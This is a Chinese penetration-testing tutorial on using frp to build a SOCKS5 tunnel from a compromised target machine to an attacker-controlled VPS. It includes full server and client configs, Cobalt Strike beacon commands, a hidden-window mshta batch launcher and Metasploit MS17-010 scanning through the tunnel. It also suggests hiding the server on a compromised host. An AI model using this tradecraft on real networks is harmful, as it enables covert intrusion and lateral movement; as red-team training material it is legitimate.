Frp内网穿透实战
前言
实战中,当通过某种方式拿下测试虚拟机权限时,发现该机器可出网。此时为了内网横向渗透与团队间的协同作战,可以利用Frp在该机器与VPS之间建立一条“专属通道”,并借助这条通道达到内网穿透的效果。实战中更多时候依靠 Socks5 。
更多详细使用方法,可查看官方Github,这里不再赘述。
https://github.com/fatedier/frp/
前期准备
先准备一台VPS与域名。
因某种情况会更换VPS地址,为了减少更改frp配置文件的次数,所以做域名泛解析。若更换VPS,直接编辑域名解析地址即可。
下载地址
Frp下载地址 [跨平台,实战中根据目标机版本选择下载]
https://github.com/fatedier/frp/releases
配置文件
服务端
1 |
#通用配置段 |
2 |
[common] |
3 |
#frp服务端监听 [VPS] |
4 |
bind_addr = 0.0.0.0 |
5 |
#frp服务器监听端口 [实战中可以用一些通透性较好的端口] |
6 |
bind_port = 7007 |
7 |
|
8 |
#服务端Web控制面板登录端口 [通过控制面板,可以实时了解到数据收发情况。实战中用处不大] |
9 |
dashboard_port = 6609 |
10 |
#服务端Web控制面板用户名与密码 [强口令] |
11 |
dashboard_user = SuperMan |
12 |
dashboard_pwd = WC3pvjmh2tt8 |
13 |
|
14 |
#日志输出位置,所有的日志信息都放到当前目录下的frps.log文件中 |
15 |
log_file = ./frps.log |
16 |
#日志记录等级,有trace、debug、info、warn、error,通常情况下为info |
17 |
log_level = info |
18 |
#日志保留时间 |
19 |
log_max_days = 3 |
20 |
|
21 |
#验证凭据,服务端和客户端的凭据必须一样才能连接 |
22 |
auth_token = E0iQEBOdoJeh |
23 |
#启用特权模式,从v0.10.0版本开始默认启用特权模式 [特权模式下,客户端更改配置无需更新服务端] |
24 |
privilege_mode = true |
25 |
#特权模式Token [强口令,建议随机生成] |
26 |
privilege_token = kukezkHC8R1H |
27 |
#特权模式允许分配的端口 [避免端口被滥用] |
28 |
privilege_allow_ports = 4000-50000 |
29 |
|
30 |
#心跳检测超时时长 |
31 |
heartbeat_timeout = 30 |
32 |
|
33 |
#每个代理可以设置的连接池上限 |
34 |
max_pool_count = 20 |
35 |
|
36 |
#口令认证超时时间,一般不用改 |
37 |
authentication_timeout = 900 |
38 |
|
39 |
#指定子域名,后续将全部用域名的形式进行访问 [特权模式需下将 *.xxxx.online 解析到外网VPS上,即域名泛解析] |
40 |
subdomain_host = xxxx.online |
客户端
1 |
#通用配置段 |
2 |
[common] |
3 |
#frp服务端IP或域名 [实战中一般都会直接用域名] |
4 |
server_addr = frp.xxxx.online |
5 |
#frp服务器端口 |
6 |
server_port = 7007 |
7 |
|
8 |
#授权token,此处必须与服务端保持一致,否则无法建立连接 |
9 |
auth_token = E0iQEBOdoJeh |
10 |
#启用特权模式 [特权模式下服务端无需配置] |
11 |
privilege_mode = true |
12 |
#特权模式 token,同样要与服务端完全保持一致 |
13 |
privilege_token = kukezkHC8R1H |
14 |
|
15 |
#心跳检查间隔与超时时间 |
16 |
heartbeat_interval = 10 |
17 |
heartbeat_timeout = 30 |
18 |
|
19 |
#启用加密 [通信内容加密传输,有效防止流量被拦截] |
20 |
use_encryption = true |
21 |
#启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源] |
22 |
use_compression = true |
23 |
|
24 |
#连接数量 |
25 |
pool_count = 20 |
26 |
|
27 |
#内网穿透通常用socks5 |
28 |
[socks5] |
29 |
type = tcp |
30 |
#连接VPS内网穿透的远程连接端口 |
31 |
remote_port = 9066 |
32 |
#使用插件socks5代理 |
33 |
plugin = socks5 |
34 |
#socks5连接口令 [根据实际情况进行配置] |
35 |
#plugin_user = SuperMan |
36 |
#plugin_passwd = ZBO0McQe6mE1 |
执行部署
服务端
SSH连接到VPS上,后台启动frp服务端。
1 |
[email protected]:~# cd tools/frp/ |
2 |
[email protected]:~/tools/frp# nohup ./frps -c frps.ini & |
3 |
[email protected]:~/tools/frp# jobs -l |
4 |
[email protected]:~/tools/frp# cat frps.log |
客户端
将frpc.exe
与frpc.ini
传到目标机的同一目录下,直接运行。
当frp客户端启动后,是否成功连接,都会在frp服务端日志中查看到。
但如果直接在目标机的Beacon中启动frp客户端,会持续有日志输出,并干扰该pid下的其他操作,所以可结合execute
在目标机无输出执行程序。
1 |
beacon> sleep 10 |
2 |
beacon> execute c:/frpc.exe -c c:/frpc.ini |
3 |
beacon> shell netstat -ano |findstr 7007 |
或者,创建后台运行的bat脚本。
1 |
@echo off |
2 |
if "%1" == "h" goto begin |
3 |
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit |
4 |
:begin |
5 |
c:\frpc.exe -c c:\frpc.ini |
工具穿透
Metasploit
当“专属通道”打通后,可直接在msf中挂该代理。因为msf的模块较多,所以在内网横向移动中更是一把利器。[若socks5设置口令,可结合proxychains]
1 |
# sudo msfconsole -q |
2 |
msf5 > setg proxies socks5:frp.xxxx.online:9066 |
3 |
msf5 > use auxiliary/scanner/smb/smb_ms17_010 |
4 |
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10 |
5 |
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178 |
6 |
msf5 auxiliary(scanner/smb/smb_ms17_010) > run |
Windows
Windows中可结合Proxifier、SSTap等工具,可设置socks5口令,以此达到用windows渗透工具横向穿透的效果。
小结
Frp的用法比较灵活且运行稳定。如 可将frp服务端挂在“做菜的肉鸡”上,以达到隐蔽性,也可将客户端做成服务自启的形式等。作者:AnonySec
新书:《内网安全攻防:渗透测试实战指南》火爆上市!
购买链接:https://item.jd.com/12743210.html
Ms08067安全实验室
专注于普及网络安全知识。团队已出版《Web安全攻防:渗透测试实战指南》,2019年11月出版《内网安全攻防:渗透测试实战指南》。目前在编Python渗透测试,JAVA代码审计和****等方面书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:www.ms08067.com